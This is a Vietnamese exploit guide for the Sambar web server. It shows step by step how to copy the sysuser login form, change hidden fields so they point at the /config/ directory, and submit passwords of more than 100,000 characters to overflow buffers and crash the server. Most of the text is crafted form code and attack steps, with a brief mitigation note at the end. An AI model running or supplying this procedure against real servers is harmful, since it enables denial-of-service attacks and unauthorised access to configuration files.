Lỗi tràn bộ đệm của Server Sambar

Lỗi tràn bộ đệm của Server Sambar :
trang này đã được đọc lần
CÁCH KHAI THÁC:
Bạn phải biết được đường dẫn (ở sambar là c:\sambar ) của form đăng nhập sysuser:
BƯỚC 1: đi tới đường dẫn của form đăng nhập sysuser, như
http://localhost/sysuser/index.stm.
BƯỚC 2: copy và paste đoạn mã của form đăng nhập (toàn bộ) lên 1 trang khác và rename
thành something.html .
BƯỚC 3: đặt vào đúng chỗ http://localhost/ hoặc url cho server sambar của bạn ,cái này cho
form và images , tất nhiên, form phải được connect đến đúng địa chỉ url của script server.
CODE
[FORM METHOD=POST ACTION="http://localhost/session/login"
onsubmit="return FormValidator(this)"]
[INPUT TYPE=hidden NAME="RCpage"
VALUE="http://localhost/sysuser/desktop.stm"]*This is your desktop installation.
[INPUT TYPE=hidden NAME="onfailure"
VALUE="http://localhost/sysuser/relogin.stm"]*bạn có thể thay đổi cái này để làm tăng việc tràn
bộ đệm giống như một script cgi (cái này có thể là tấn công bằng DoS)
[INPUT TYPE=hidden NAME="start" VALUE=1>
[INPUT TYPE=hidden NAME="RCSdesktop" VALUE="true"]
[INPUT TYPE=hidden NAME="RCSsort" VALUE="desc"]
[INPUT TYPE=hidden NAME="RCSstyle" VALUE="txtconvert"]
[INPUT TYPE=hidden NAME="RCSwrap" VALUE="60"]
[INPUT TYPE=hidden NAME="RCScount" VALUE="25]
[INPUT TYPE=hidden NAME="RCSfolder" VALUE="inbox"]
[INPUT TYPE=hidden NAME="RCSpath" VALUE="/]
[INPUT TYPE=hidden NAME="RCShome" VALUE="/config/] *Đây là vấn đề*
[INPUT TYPE=hidden NAME="RCSbrowse" VALUE="/config/"]*Đây là vấn đề*
[INPUT TYPE=hidden NAME="RCSsortby" VALUE="name]
BƯỚC 4: bây giờ bạn có thể refresh và login, dùng một user và password hợp lệ nếu bạn muốn
chứng tỏ một lỗi nữa ở bước 6!

BƯỚC 5: bây bạn phải nhấn submit, chờ, và nếu bạn chạy server trên máy của bạn thì server se
trở nên dễ bị đổ, nếu bạn tiếp tục send thì server phải restart hoặc máy của bạn restart trong
suốt quá trình tấn công!.
BƯỚC 6: lỗi thứ hai là tràn bộ đệm ở vùng mật khẩu, bạn có thể chèn vào hơn 1 triệu ký tự và
submit nó nhưng phải edit đoạn mã này trên máy của bạn:
CODE
[INPUT TYPE=PASSWORD NAME="RCpwd" VALUE="" MAXLENGTH=40]< thay đổi cái này
thành...
[INPUT TYPE=PASSWORD NAME="RCpwd" VALUE="đặt text của bạn ở đây, nhớ là hơn 100000
ký tự"]
và..........
BƯỚC 7: nhấn submit và server... !
GIẢI PHÁP:
- Thay đổi đường dẫn và thư mục của file liên quan đến user ở server sambar!
- Những người phát triển server sambar có thể thay đổi code va phát triển một module để kiểm
tra việc đi lại các file của user và bộ đệm của form transfer ở chế độ POST hay GET.